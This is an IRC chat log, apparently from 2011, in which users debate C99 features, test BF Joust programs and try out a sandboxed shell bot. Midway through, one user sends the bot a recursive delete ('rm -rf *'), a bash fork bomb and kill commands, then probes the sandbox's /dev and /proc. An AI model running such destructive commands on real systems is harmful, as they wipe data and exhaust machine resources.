23:49:53 <elliott> ME TOO
23:49:56 <elliott> <Gregor> Fuck you.
23:50:11 <Lymia> I recall seeing something to that effect in a FYB source file.
23:50:29 <elliott> What, calling Gregor incompetent? :P
23:50:49 <Lymia> <Gregor> Fuck you
23:50:56 <Gregor> Pfff, sources I wrote six years ago :P
23:53:28 -!- cheater00 has joined.
23:53:57 <elliott> Gregor: FIXED GCC YET
23:54:14 -!- zzo38 has joined.
23:54:31 <zzo38> I think C99 has a few bad things
23:54:52 <Gregor> elliott: Be patient, I have to reinit the chroot.
23:55:05 <elliott> it was joke.
23:55:10 <elliott> Hmm, NetHack's colours suck on a light background.
23:55:23 <zzo38> I do not think C should have complex numbers.
23:55:56 <Lymia> Why not?
23:56:40 -!- cheater99 has quit (Ping timeout: 240 seconds).
23:57:22 <zzo38> I think it is something which does not belong in C.
23:57:47 <Lymia> It isn't harming anything if you ask me.
23:58:15 <impomatic> !bfjoust sexyghoul >(-)*9>(+)*9(>---)*6(>([+)*6[(-)*7([-)*5[(-)*122[-(])*14)*21[-]
23:58:19 <elliott> <Lymia> [expecting coherent, logical reasons from zzo38]
23:58:26 <EgoBot> Score for impomatic_sexyghoul: 37.4
23:59:03 <impomatic> !bfjoust sexyghoul >(-)*9>(+)*9(>---)*6(>([+)*6[(-)*7([-)*5[(-)*122[-(])*14(-)*9)*21[-]
23:59:08 <EgoBot> Score for impomatic_sexyghoul: 35.4
23:59:51 <impomatic> !bfjoust sexyghoul >(-)*9>(+)*9(>---)*6(>([+)*6[(-)*7([-)*5[(-)*122[-(])*14)*21[-]
2011-02-05
00:00:00 <EgoBot> Score for impomatic_sexyghoul: 37.4
00:00:11 <zzo38> I also think variable-length arrays should not belong, either.
00:00:32 <elliott> I think that ducks belong in the C standard.
00:00:36 <elliott> Evil, rabid ducks.
00:00:38 <elliott> Do you agree, zzo38?
00:00:54 -!- impomatic has quit (Quit: ChatZilla 0.9.86 [Firefox 3.5.16/20101130074636]).
00:00:57 <zzo38> elliott: No.
00:01:11 <elliott> maybe that's because you're wrong?
00:01:23 <zzo38> Normal ducks do not belong and evil ducks also do not belong.
00:01:35 -!- augur has joined.
00:02:40 <elliott> why
00:04:42 <zzo38> Do you think a computer commonly has machine instructions for complex numbers and rabid ducks?
00:04:55 <elliott> yes
00:05:03 -!- augur has quit (Remote host closed the connection).
00:05:04 <Lymia> C is not a cypher ASM.
00:05:08 <Lymia> cypher for ASM*
00:05:18 -!- Behold has joined.
00:05:29 <zzo38> Lymia: I know but that isn't what I meant.
00:06:37 <Lymia> Do you think a computer commonly has machine instructions for printing to screen?
00:07:29 <elliott> hmm, it doesn't work
00:07:30 <Lymia> Do you think a computer commonly has machine instructions for string manipulation?
00:07:31 <elliott> that's disappointing
00:08:40 -!- BeholdMyGlory has quit (Ping timeout: 240 seconds).
00:09:06 <zzo38> Lymia: For printing to screen, that is a part of the operating system (or BIOS) and the C libraries generally include operating system functions. For string manipulation, although it is not directly machine instructions it is just a way of doing, such as: strlen(x) finds how many bytes before a null byte, and so on.
00:09:16 <Lymia> So.
00:09:16 <elliott> same with complex numbers
00:09:19 <Lymia> What's wrong with complex numbers?
00:09:22 <elliott> they're just "ways of doing"
00:09:33 <zzo38> There are some good features in C99 though, but not a lot.
00:09:42 <Lymia> What's fundamentally different about it.
00:09:54 <elliott> <Lymia> [expecting coherent, logical reasons from zzo38]
00:10:00 <zzo38> Complex numbers does not seem to fit with C very well, especially not by the program language itself.
00:10:16 <zzo38> But maybe in a math library you might make up some functions for complex numbers.
00:10:32 <Lymia> If you don't like it, don't use it.
00:10:43 <Lymia> It's not like the compiler's going to generate code for complex numbers in your program unless it's needed.
00:10:44 <elliott> well that's silly
00:10:50 <elliott> there's plenty of reasons to avoid language feature bloat
00:10:58 <elliott> but complex numbers are a perfectly valid, useful language feature
00:11:03 <elliott> albeit, one that was not implemented very well in C99
00:11:15 <Lymia> Unless you're implementing a compiler, I don't see a reason to care that much.
00:11:23 <elliott> (using "I"? seriously? for all the paranoia the C committee have about clashes that's just ridiculous)
00:11:30 <elliott> Lymia: easier to reason about simpler languages.
00:11:43 <zzo38> But I do not believe complex numbers should be a fundamental data type. Just like, operating system stuff is not good feature in the programming language, it is good for standard library function though (otherwise you cannot write a program at all).
00:11:45 <Lymia> elliott, depends on what you're talking about.
00:11:48 <Lymia> Extra data types?
00:12:01 <elliott> any good language can duplicate the complex number functionality in a library, anyway
00:12:02 <Lymia> You don't have to reason about them unless you use them.
00:12:03 <elliott> C can't
00:12:20 <Lymia> elliott, struct complex{float r; float i;}
00:12:26 <elliott> Lymia: can't implement + on that.
00:12:46 <Lymia> It'd be possible to implement the logic for it at least.
00:12:48 <Lymia> But still.
00:13:00 <Lymia> With no operator overloading, it's not a bad idea.
00:13:00 <Lymia> =p
00:13:58 <elliott> pikhq: BTW, st seems to do multibyte perfectly.
00:14:11 -!- elliott_ has joined.
00:14:16 * Lymia hugs elliott
00:14:16 <elliott_> Unicode! Give me it!
00:14:19 <elliott_> Well, UTF-8.
00:14:43 -!- poiuy_qwert has quit (Quit: This computer has gone to sleep).
00:15:51 <elliott_> oi
00:15:55 <elliott> æßeđæe¶
00:15:58 <elliott> yep
00:16:00 <elliott> working perfectly
00:16:11 <elliott> `translateto ja hello world
00:16:17 <elliott> `translatefromto en ja hello world
00:16:20 <elliott> oh wait
00:16:21 <elliott> Gregor!
00:16:41 <zzo38> No, I think it should have directives to catch compiler errors (such as #catcherror and so on), and then write custom codes to deal with it. Such as, catching negative array index error, cannot do + on structures error, wrong implicit cast error, too large number error, etc.
00:16:52 <elliott_> I don'y.
00:16:55 <elliott_> Because that's ridiculous.
00:16:56 <zzo38> But floating hexadecimal constants is doesn't seems necessary.
00:16:56 <elliott_> *'t.
00:18:39 <zzo38> You can then implement operator overloading by using the functions for catching compiler errors. And you can implement other things with it, too.
00:18:49 <Lymia> ....
00:19:01 <Lymia> elliott, I see why you said that now
00:19:03 <elliott_> wait is this Lymia's first encounter with zzo38?
00:19:08 <Lymia> Yes.
00:19:11 <elliott_> heh
00:19:15 <elliott_> hope you're having fun
00:19:31 <Lymia> Who is he, and why is he here?
00:19:32 <Lymia> D=
00:19:40 <zzo38> And then you can make complex numbers from this too, by placing the catching codes in a header file.
00:20:00 <Lymia> zzo38, tell me you're trolling.
00:20:00 <elliott_> Lymia: http://esolangs.org/wiki/User:Zzo38
00:20:41 <zzo38> That also includes errors such as access a member which is not exist in the structure/union, and that you are calling a function which does not exist, and so on.
00:20:52 <Lymia> ..............
00:21:02 <Lymia> Explain how this would allow you to implement these things again?
00:22:22 <zzo38> Lymia: For example, you define a typedef struct for complex numbers, and then when you try to add them using + operator it throws a compiler error which you must catch in order to modify the program to a valid code (or to another invalid code which will be caught again differently to make valid next time instead).
00:22:43 <Lymia> And why would you do this, instead of say, adding a construct like this.
00:23:01 <Lymia> operater struct complex +(struct complex a, struct complex b)
00:23:32 <zzo38> I think a way to catch compiler errors in this way, though, would have a lot of possible uses.
00:23:33 <elliott_> *operator
00:24:21 <Lymia> zzo38, so.
00:24:28 <Lymia> You want to write syntaticly invalid code.
00:24:40 <Lymia> And add a new construct to define a behavior for it other than erroring.
00:24:41 <zzo38> I also do not like how C++ can override the *x and x[] operator separately, that doesn't even make sense. I don't even use C++, because C is works OK.
00:25:06 <zzo38> Lymia: Syntax errors, but also errors other than syntax errors, too.
00:25:15 <Lymia> The people at IOCCC would like it, but not many other people.
00:25:56 <Lymia> How old is zzo38?
00:26:14 <Gregor> No one knows.
00:26:23 <elliott_> didn't he say he was 16
00:26:49 <zzo38> elliott_: Actually I did not say at all. And I will not say.
00:26:49 <Lymia> I'm not sure to consider this a mitgating factor, or a reason to cringe more.
00:27:14 <elliott_> zzo38: haven't you mentioned highschool before, I think you did, dunno
00:27:45 <zzo38> elliott: I do not remember whether or not I did.
00:28:02 <elliott_> elliott didn't say that, elliott_ did!
00:28:26 <zzo38> Sorry I made a mistake
00:28:39 -!- HackEgo has joined.
00:28:50 <Gregor> `gcc
00:28:51 <HackEgo> Failed to clone the environment!
00:28:55 <Gregor> lawl
00:29:00 <elliott_> SUPA SUCCESS
00:29:23 <Lymia> `killall -9 spamd
00:29:24 <HackEgo> Failed to clone the environment!
00:29:31 <Lymia> `run killall -9 multibot
00:29:31 <HackEgo> Failed to clone the environment!
00:29:36 <Lymia> :v
00:30:09 <Gregor> Why does everybody immediately assume that not only did I write HackEgo in a stupid way, but I run every command AS FUCKING ROOT
00:30:25 <elliott_> Because you're so stupid usually, Gregor.
00:30:37 <zzo38> `run echo "Failed to clone the environment!"
00:30:38 <HackEgo> Failed to clone the environment!
00:30:43 <elliott_> IT WORKED
00:30:55 <Lymia> `run hug
00:30:55 <HackEgo> Failed to clone the environment!
00:30:58 <Lymia> :(
00:31:08 <Gregor> PATIENCE
00:32:39 <elliott_> `./test
00:32:41 <HackEgo> Failed to clone the environment!
00:33:21 <elliott_> `run ./test 2>&1; echo $?
00:33:22 <HackEgo> Failed to clone the environment!
00:36:39 <elliott_> `run ./test 2>&1; echo $?
00:36:40 <HackEgo> No output.
00:36:45 <elliott_> Gregor: Thanks for letting us know :P
00:36:49 <elliott_> Hmm, what ...
00:36:52 <Gregor> It doesn't work yet.
00:36:55 <elliott_> X-D
00:36:57 <elliott_> SRY
00:36:57 <Gregor> I haven't let you know because I'M NOT DONE YET
00:37:00 <Gregor> I'm still installing shit
00:37:01 <elliott_> OKAY
00:37:03 <elliott_> GREGOR MR.
00:37:04 <elliott_> EGG-MAN
00:37:05 <elliott_> GREGSHITS
00:37:07 <elliott_> GREGHAT
00:37:33 -!- Sgeo has quit (Read error: Connection reset by peer).
00:38:02 -!- Sgeo has joined.
00:39:18 <Gregor> `run gcc 2>&1
00:39:20 <HackEgo> gcc: no input files
00:39:25 <elliott_> `run ./test 2>&1; echo $?
00:39:27 <HackEgo> gcc: #!/bin/sh \ name=$(mktemp) \ gcc -x c -O2 -std=gnu99 "$(tail -n +1 "$0")" -o "$name" || exit $? \ shift \ "$name" "$@"; st=$? \ rm -f "$name" 2>/dev/null \ exit $?: No such file or directory \ gcc: warning: '-x c' after last input file has no effect \ gcc: no input files \ 1
00:39:34 <elliott_> X-D
00:39:35 <Gregor> wtfbbq
00:39:37 <elliott_> Durr
00:39:40 <elliott_> I see what I did, kinda
00:39:42 <Lymia> `run rm -rf *
00:39:43 <HackEgo> No output.
00:39:48 <elliott_> *sigh*
00:39:51 <elliott_> Gregor gets to revert.
00:39:52 <Lymia> elliott, don't you like me?
00:39:52 <Lymia> =3
00:39:57 <Gregor> `ls
00:39:58 <elliott_> It's trivially revertable.
00:39:58 <HackEgo> babies \ bin \ paste \ tmpdir.2587
00:40:03 <elliott_> So you've proven that you can ... minorly annoy!
00:40:06 <Gregor> Oh look, it DIDN'T EVEN HAPPEN
00:40:10 <elliott_> X-D
00:40:14 <elliott_> Yes it did
00:40:15 <elliott_> Where's quotes gone
00:40:18 <Lymia> `run :(){:|:&};:
00:40:19 <HackEgo> No output.
00:40:21 <Gregor> Also, anyone gets to revert.
00:40:25 <elliott_> `quote
00:40:27 <Gregor> Hm, where has quotes gone ...
00:40:27 <HackEgo> No output.
00:40:34 <elliott_> Gregor you are a bad person for removing my genius quote db
00:40:36 <elliott_> I want compensation
00:40:46 <Gregor> `help
00:40:47 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
00:40:51 <Lymia> `run :(){:|:&};:;cat
00:40:51 <HackEgo> No output.
00:40:54 <Lymia> :<
00:41:01 <elliott_> "`revert" should *really* just default to last revision :P
00:41:28 <Gregor> `revert 1
00:41:29 <HackEgo> Done.
00:41:31 <Gregor> `ls
00:41:32 <HackEgo> babies \ bin \ paste \ tmpdir.2875
00:41:33 <elliott_> X-D
00:41:38 <Gregor> ... weird
00:41:38 -!- FireFly has quit (Quit: swatted to death).
00:41:41 <elliott_> You neglected the quote DB, methinks.
00:41:49 <elliott_> Please tell me you didn't remove the old files.
00:41:53 <Lymia> Gregor, what protections do you have applied?
00:41:59 <elliott_> Lymia: more than you can possibly circumvent.
00:42:00 <Gregor> `revert 77d154694a2f
00:42:07 <Lymia> `ls /dev/urandom
00:42:08 <HackEgo> No output.
00:42:09 <Gregor> Lymia: More than I want to explain for the fiftieth time.
00:42:15 <Lymia> `ls /dev
00:42:16 <HackEgo> null
00:42:22 <Gregor> `revert 0
00:42:24 <HackEgo> Done.
00:42:24 <elliott_> Lymia: The only way to escape the ability to revert is by breaking plash, which is a VERY well-tested system. That will land you in an empty chroot.
00:42:27 <Gregor> Did the wrong reversion :P
00:42:28 <Gregor> `ls
00:42:29 <HackEgo> babies \ bin \ paste \ tmpdir.3086
00:42:29 <elliott_> Empty apart from one file, the libc.
00:42:33 <elliott_> Talking to the kernel will do nothing.
00:42:37 <Gregor> wtfbbq
00:42:37 <elliott_> You cannot change the file in any way.
00:42:39 <Gregor> Did I break revert :P
00:42:43 <elliott_> You then need to elevate to root with just system calls.
00:42:52 <elliott_> i.e. a major linux exploit.
00:42:54 <elliott_> You then need to chroot("..").
00:43:00 <elliott_> And _then_ you can fuck with files.
00:43:08 <elliott_> But, uhh, you could just break any linux system you have access to if you could do that.
00:43:14 <elliott_> So HackEgo breaking is really the least of our worries :P
00:43:28 <elliott_> Anyway even then you could just remove the HackEgo files.
00:43:33 <elliott_> Well, you're root actually.
00:43:37 <elliott_> So you could do anything.
00:43:39 <elliott_> But yeah :P
00:44:01 <Gregor> `quote
00:44:03 <HackEgo> 171) <Phantom_Hoover> OK, so is conspiring to conspire to commit a crime a crime? <cpressey> Let's all get together and talk about defacing public property sometime
00:44:47 <elliott_> `./test
00:44:48 <HackEgo> No output.
00:44:49 <Lymia> `find / > filelist
00:44:51 <HackEgo> No output.
00:44:52 <Lymia> `url filelist
00:44:52 <elliott_> OK, I have to change it.
00:44:52 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/filelist
00:44:54 <elliott_> With my fist.
00:45:03 <elliott_> Lymia: FFS, "`run find / | paste".
00:45:10 <zzo38> If Linux has some wrong thing like this, then they have to fix them in the next version.
00:45:11 <elliott_> `url bin/rungcc
00:45:12 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/bin/rungcc
00:45:18 <Lymia> elliott, what does paste do?
00:45:19 <Gregor> Damn it, the plash guys just HAD to go and fix things.
00:45:20 <Gregor> Jerks.
00:45:21 <elliott_> Lymia: TIAS
00:45:26 <Lymia> `find / | aste
00:45:26 <HackEgo> No output.
00:45:29 <Lymia> `find / | paste
00:45:30 <HackEgo> No output.
00:45:32 <elliott> ...
00:45:34 <elliott> I SAID RUN IN FRONT
00:45:43 <Lymia> `run find / | paste
00:45:43 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.1790
00:45:44 * Lymia hides
00:45:44 <elliott> YOU DISCOMBOBULATED CORPSE OF A HUMAN DREDGE
00:45:45 <elliott> OR
00:45:45 <Lymia> Sorry.
00:45:46 <elliott> SOMETHING
00:45:53 <elliott> Apologies! I want BLOOD!
00:45:58 * Lymia hands elliott a hug
00:46:06 <Lymia> `run find | paste
00:46:07 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.25839
00:46:08 <elliott_> `run ./test 2>&1
00:46:10 <HackEgo> gcc: #!/bin/sh \ name=$(mktemp) \ gcc -x c -O2 -std=gnu99 "$(tail -n +1 "$0")" -o "$name" || exit $? \ shift \ "$name" "$@"; st=$? \ rm -f "$name" 2>/dev/null \ exit $?: No such file or directory \ gcc: warning: '-x c' after last input file has no effect \ gcc: no input files
00:46:19 <elliott_> Aha
00:46:35 <elliott_> `run echo <(echo hi)
00:46:36 <HackEgo> /dev/fd/63
00:46:58 <elliott_> `fetch http://sprunge.us/WCVL
00:47:00 <HackEgo> 2011-02-05 01:05:17 URL:http://sprunge.us/WCVL [151] -> "WCVL" [1]
00:47:05 <elliott_> `run mv WCVL bin/rungcc; chmod +x bin/rungcc
00:47:06 <HackEgo> No output.
00:47:07 <elliott_> `run ./test 2>&1
00:47:08 <HackEgo> /tmp/hackenv.3933/bin/rungcc: line 3: syntax error near unexpected token `(' \ /tmp/hackenv.3933/bin/rungcc: line 3: `gcc -x c -O2 -std=gnu99 <(tail -n +1 "$1") -o "$name" || exit $?'
00:47:11 <Lymia> `run ls /dev/random
00:47:12 <HackEgo> No output.
00:47:13 <elliott_> Oh.
00:47:13 <Lymia> `run ls /dev/urandom
00:47:14 <HackEgo> No output.
00:47:16 <Lymia> :<
00:47:31 <elliott_> `run sed -i 's/#!.*/#!\/usr\/bin\/env bash/' bin/rungcc
00:47:32 <HackEgo> No output.
00:47:34 <elliott_> `cat bin/rungcc
00:47:35 <HackEgo> #!/usr/bin/env bash \ name=$(mktemp) \ gcc -x c -O2 -std=gnu99 <(tail -n +1 "$1") -o "$name" || exit $? \ shift \ "$name" "$@"; st=$? \ rm -f "$name" 2>/dev/null \ exit $? \
00:47:37 <elliott_> `run ./test 2>&1
00:47:38 <HackEgo> gcc: /dev/fd/63: No such file or directory \ gcc: warning: '-x c' after last input file has no effect \ gcc: no input files \ /usr/bin/tail: write error: Broken pipe
00:47:46 <Lymia> elliott, what are you trying to do.
00:47:49 <elliott_> I reaaaally hate gcc.
00:47:59 <elliott_> Reaaaaaaaally.
00:48:28 <elliott_> `fetch http://sprunge.us/hVhM
00:48:29 <HackEgo> 2011-02-05 01:06:46 URL:http://sprunge.us/hVhM [171] -> "hVhM" [1]
00:48:30 <Lymia> `echo "int main(){printf(\"test\");return 0;}" > test.c
00:48:31 <HackEgo> "int main(){printf(\"test\");return 0;}" > test.c
00:48:34 <elliott_> `run mv hVhM bin/rungcc; chmod +x bin/rungcc
00:48:35 <HackEgo> No output.
00:48:36 <Lymia> `run echo "int main(){printf(\"test\");return 0;}" > test.c
00:48:37 <HackEgo> No output.
00:48:38 <elliott_> `run ./test 2>&1
00:48:39 <HackEgo> gcc: /dev/stdin: No such file or directory \ gcc: warning: '-x c' after last input file has no effect \ gcc: no input files
00:48:43 <elliott_> ...
00:48:45 <Lymia> `run gcc -o test test.c
00:48:49 <Lymia> `run ./test
00:48:50 <elliott_> Gregor, please make /dev/fd work.
00:48:51 <HackEgo> No output.
00:48:52 <HackEgo> No output.
00:48:52 <elliott_> Or at least /dev/stdin.
00:48:53 <elliott_> kthx
00:48:56 <Lymia> `run ./test | paste
00:48:57 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.5039
00:49:05 <Lymia> `ls
00:49:06 <HackEgo> 1 \ babies \ bin \ bluhbluh \ env \ foo \ paste \ ps \ quine \ quotes \ test \ test.c \ tmpdir.4559
00:49:19 <elliott_> `rm 1
00:49:19 <Gregor> elliott_: ... wtf
00:49:19 <HackEgo> No output.
00:49:32 <elliott_> Gregor: /dev/fd doesn't exist so bash can't do <(foo).
00:49:38 <elliott_> Gregor: /dev/stdin doesn't exist so I can't do it the other way.
00:49:43 <elliott_> All you have in /dev is null :P
00:49:55 <elliott_> "Just" some mknods away.
00:49:59 <Lymia> I need to learn more Linuxfu.
00:50:00 -!- Behold has quit (Remote host closed the connection).
00:50:00 <elliott_> (Or some cps :P)
00:50:02 <Gregor> ORLY? Hm :P
00:50:08 <elliott_> `run ls /bin
00:50:09 <HackEgo> bash \ bunzip2 \ bzcat \ bzcmp \ bzdiff \ bzegrep \ bzexe \ bzfgrep \ bzgrep \ bzip2 \ bzip2recover \ bzless \ bzmore \ cat \ chgrp \ chmod \ chown \ cp \ cpio \ date \ dd \ df \ dir \ dmesg \ dnsdomainname \ echo \ ed \ egrep \ false \ fgrep \ grep \ gunzip \ gzexe \ gzip \ hostname \ ip \ kill \ ln \ login \ ls \ lsmod
00:50:09 <elliott_> erm
00:50:12 <elliott_> `run ls /dev
00:50:13 <HackEgo> null
00:50:14 <elliott_> So yeah :P
00:50:43 <Lymia> `run echo $PATH
00:50:43 <HackEgo> /tmp/hackenv.4752/bin:/opt/python27/bin:/usr/bin:/bin
00:50:49 <Lymia> `ls /usr/bin
00:50:50 <HackEgo> 822-date \ X11 \ [ \ a2p \ addpart \ addr2line \ apropos \ apt-cache \ apt-cdrom \ apt-config \ apt-extracttemplates \ apt-ftparchive \ apt-get \ apt-key \ apt-mark \ apt-sortpkgs \ aptitude \ aptitude-create-state-bundle \ aptitude-run-state-bundle \ ar \ as \ awk \ base64 \ basename \ bashbug \ bdftopcf \ bdftruncate
00:50:57 <elliott_> Gregor: mknod /dev/stdout p 15 should do it, I think.
00:51:01 <elliott_> `run 822-date
00:51:03 <HackEgo> Sat, 05 Feb 2011 01:09:20 +0000
00:51:04 <Lymia> `ls /usr/bin | paste
00:51:04 <HackEgo> No output.
00:51:08 <Lymia> `run ls /usr/bin | paste
00:51:09 <elliott_> `man 822-date
00:51:09 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.9602
00:51:12 <HackEgo> No output.
00:51:46 <Lymia> `run ls -al /usr | paste
00:51:47 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.26324
00:52:01 -!- augur has joined.
00:52:18 <Gregor> Please make your pathetic hackery attempts via PM
00:52:32 <Lymia> :V
00:53:03 <elliott_> `ls /dev
00:53:04 <HackEgo> null
00:53:05 <Lymia> Gregor, but yeah.
00:53:13 <Lymia> Are you going to set up MetaBFJoust up?
00:53:18 <Lymia> Remove one up.
00:53:26 <elliott_> Wait it isn't p.
00:53:41 <Gregor> Lymia: Maybe over the weekend.
00:53:46 <elliott_> Uhh, Gregor, just make /dev/stdin :P
00:53:50 <elliott_> Wait.
00:53:52 <elliott_> `ls /proc
00:53:53 <HackEgo> No output.
00:54:00 <elliott_> Gregor: Mount proc and then it's just /dev/f -> /proc/self/fd.
00:54:00 <elliott_> *fd
00:54:02 <elliott_> Symlink.
00:54:17 <elliott_> And then just symlink /dev/stdout to /proc/self/fd/1.
00:54:26 <Gregor> >_O
00:54:27 <Gregor> <_O
00:54:27 <elliott_> And stdin to /proc/self/fd/0.
00:54:31 <elliott_> Gregor: WHY CAN'T YOU MOUNT PROC
00:54:51 -!- augur has quit (Remote host closed the connection).
00:56:36 -!- copumpkin has quit (Quit: Computer has gone to sleep.).
00:56:59 <elliott_> Sheesh Gregor :P
01:01:11 -!- HackEgo has quit (Remote host closed the connection).
01:01:12 -!- EgoBot has quit (Remote host closed the connection).
01:01:24 -!- EgoBot has joined.
01:01:48 -!- HackEgo has joined.
01:01:53 <Gregor> `ls /proc
01:01:54 <HackEgo> 1 \ 10 \ 1015 \ 1025 \ 1026 \ 1030 \ 1034 \ 1035 \ 1036 \ 104 \ 1049 \ 106 \ 1077 \ 11 \ 1114 \ 1126 \ 1127 \ 1140 \ 1141 \ 11831 \ 1185 \ 12 \ 1231 \ 1238 \ 1239 \ 1240 \ 1241 \ 1242 \ 1243 \ 1244 \ 1245 \ 1252 \ 13 \ 13095 \ 13100 \ 13101 \ 13155 \ 1338 \ 13671 \ 13672 \ 13679 \ 13680 \ 13681 \ 13682 \ 13685 \ 14 \ 1425
01:01:57 <Gregor> `ls /dev
01:01:58 <HackEgo> null
01:02:02 <Gregor> Huh
01:02:38 <elliott> xD
01:03:54 <Lymia> `ls /proc/1
01:03:54 <HackEgo> attr \ auxv \ cgroup \ clear_refs \ cmdline \ coredump_filter \ cpuset \ cwd \ environ \ exe \ fd \ fdinfo \ io \ limits \ loginuid \ maps \ mem \ mountinfo \ mounts \ mountstats \ net \ numa_maps \ oom_adj \ oom_score \ pagemap \ personality \ root \ sched \ sessionid \ smaps \ stack \ stat \ statm \ status \ syscall \ task \ wchan
01:04:09 <elliott> `ls /dev
01:04:10 <HackEgo> null
01:04:12 <Lymia> Well.
01:04:14 <elliott> Gregor: gimme root and i'll fix it
01:04:29 <Lymia> That's alot of processes. :V
01:04:54 <Lymia> Gregor, does it count processes from outside the sandbox too?
01:05:40 <Gregor> It's not a magical /proc, it's normal proc
01:06:37 -!- zzo38 has quit (Quit: zzo38).
01:07:22 <elliott> hmm, I've forgotten what catbus did for 3 procs
01:07:27 * pikhq can has date
01:07:59 <elliott> pikhq: 2010-02-05
01:08:00 <elliott> you're welcome
01:08:21 <elliott> pikhq: wait, don't you play Minecraft? how do you have any time in the day left to do things that aren't Minecraft?
01:09:14 <pikhq> elliott: "Date" in the sense of "a common human mating ritual".
01:09:24 <elliott> <elliott> pikhq: wait, don't you play Minecraft? how do you have any time in the day left to do things that aren't Minecraft?
01:09:28 <pikhq> elliott: And that's easy. I procrastinate on everything, including Minecraft.
01:09:36 <elliott> pikhq: Also, dating isn't very common outside of the US.
01:09:43 <elliott> (Although like all things US, it has spread somewhat to the UK.)
01:09:53 * Sgeo suddenly sees some severe similarities between the Jem'Hadar and the Jaffa
01:10:30 <pikhq> elliott: What the heck do you normally do for courtship rituals? Matchmaker?
01:11:45 <elliott> pikhq: Well, as I said it's spread to the UK, but The Infallible Reddit Or Whatever It Was tells me that in Europe it generally goes something like "know each other -> o hai -> relationship".
01:11:46 <elliott> Not that I know.
01:11:49 <elliott> But hey, it's reddit.
01:11:51 <elliott> It's infallible, isn't it?
01:12:11 <pikhq> elliott: ... Lolwut?
01:12:25 <pikhq> elliott: "ME LIKE YOU. RELATIONSHIP EXIST NOW?" "YES."
01:12:36 <elliott> pikhq: Well, as I said, "*know each other* -> o hai -> relationship".
01:12:44 <elliott> It was one person though, so it could obviously just be total bullshitting.
01:12:49 * pikhq can only conclude that European courtship was invented by cavemen.
01:13:00 <elliott> But even as a UKer, the US' attitude to dating is really weird :P
01:13:20 <pikhq> As a USer, the typical US attitude towards it is still weird. :P
01:17:18 <Gregor> You shouldn't characterize all European courtship rituals as the same.
01:17:32 <Gregor> Finland: "Have some fish?" "Fish? Have some sex!"
01:17:41 <Gregor> France: "Surprise sex!"
01:18:08 <pikhq> Ah, yes, France is just a giant orgy.
01:18:13 <Sgeo> I have no idea what courtship is supposed to look like
01:18:19 <pikhq> It's the language, I'm sure.
01:19:36 <elliott> Gregor: Germany: "We shall engineer us an sex relation."
01:19:45 <Gregor> Yup
01:19:58 <Gregor> Spain: *plays chord on guitar* *sex*
01:20:53 <pikhq> Russia: You have someone with sex!
01:24:17 <elliott> Oh man, I fucked something up :DD
01:24:41 <elliott> I never say when my programs work in here.
01:24:42 <elliott> I'm just all
01:24:43 <elliott> oh man
01:24:44 <elliott> i'm so broken
01:24:47 <elliott> inside
01:24:54 -!- copumpkin has joined.
01:24:58 <elliott> pikhq: ANYWAY I compiled the hg version of st and it supports multibyte perfectly.
01:25:00 <pikhq> Clearly elliott is incapable of making functioning programs.
01:25:03 <elliott> `translateto ja Hello, world!
01:25:05 <HackEgo> No output.
01:25:06 <elliott> `translatefromto en ja Hello, world!
01:25:07 <HackEgo> No output.
01:25:13 <elliott> `translateto en jp Hello, world!
01:25:15 <HackEgo> No output.
01:25:16 <elliott> `translateto zh Hello, world!
01:25:18 <HackEgo> No output.
01:25:21 <pikhq> elliott: こんにちは、世界!
01:25:21 <elliott> `translatefromto en zh Hello, world!
01:25:25 <HackEgo> No output.
01:25:28 <elliott_> pikhq: Ooer. What encoding was that.
01:25:33 <pikhq> UTF-8
01:25:42 <elliott> pikhq: Does the Terminus font have UTF-8 characters?
01:25:45 <Lymia> `translateto ja Hello, world!
01:25:48 <HackEgo> No output.
01:25:51 <Lymia> `translateto en Hello, world!
01:25:53 <elliott> There was a patch to the repository recently that implemented UTF-8 support.
01:25:53 <HackEgo> No output.
01:25:57 <elliott> So it should be possible to make it work.
01:25:59 <Lymia> So.
01:26:08 <Lymia> It failed to translate from english to english?
01:26:12 <elliott> pikhq: Aha.
01:26:17 <elliott> pikhq: What's the environment variable for "locale yo"?
01:26:24 <elliott> So I can set it to en_GB.UTF-8 or w/e :P
01:26:26 <pikhq> LC_ALL
01:26:35 <elliott> Is it en_GB.UTF-8?
01:26:37 <elliott> That's the right syntax I think.
01:26:39 -!- elliott_ has quit (Quit: leaving).
01:26:41 <pikhq> Yes.
01:26:50 <pikhq> My locale is en_US.UTF-8.
01:26:55 -!- elliott_ has joined.
01:26:57 <elliott> こんにちは、世界!
01:27:08 <elliott> Still showing as "$3$s$K$A$O!"@$3&!*".
01:27:21 <pikhq> ... That is *very* strange.
01:27:36 * elliott reads the utf-8 patch to figure it out
01:27:43 <elliott> pikhq: I think that possibly my Terminus font specification is insufficiently specific.
01:27:47 -!- elliott_ has quit (Client Quit).
01:27:57 <elliott> "-*-terminus-medium-*-*-*-16-*-*-*-*-*-*-*"
01:28:10 <elliott> _Does_ Terminus do UTF-8?
01:28:21 <elliott> Japanese in particular.
01:28:34 <elliott> Terminus Font is a clean, fixed width bitmap font, designed for long (8 and more hours per day) work with computers. Version 4.32 contains 850 characters, covers about 120 language sets and supports ISO8859-1/2/5/7/9/13/15/16, Paratype-PT154/PT254, KOI8-R/U/E/F, Esperanto, many IBM, Windows and Macintosh code pages, as well as the IBM VGA, vt100 and xterm pseudographic characters.
01:28:36 <elliott> Ah...
01:28:42 <elliott> pikhq: Plz2be naming X11 font that does UTF-8.
01:28:49 <elliott> (Monospaced)
01:29:15 <pikhq> elliott: That looks like valid ISO-2022-JP, BTW. Which is, uh, WTF.
01:29:22 <elliott> X-D
01:29:27 <elliott> Maybe irssi is fucking it up.
01:29:29 <elliott> I'll try NETHACK
01:29:29 <elliott> erm
01:29:31 <elliott> NETCAT
01:29:48 -!- damnwalk has joined.
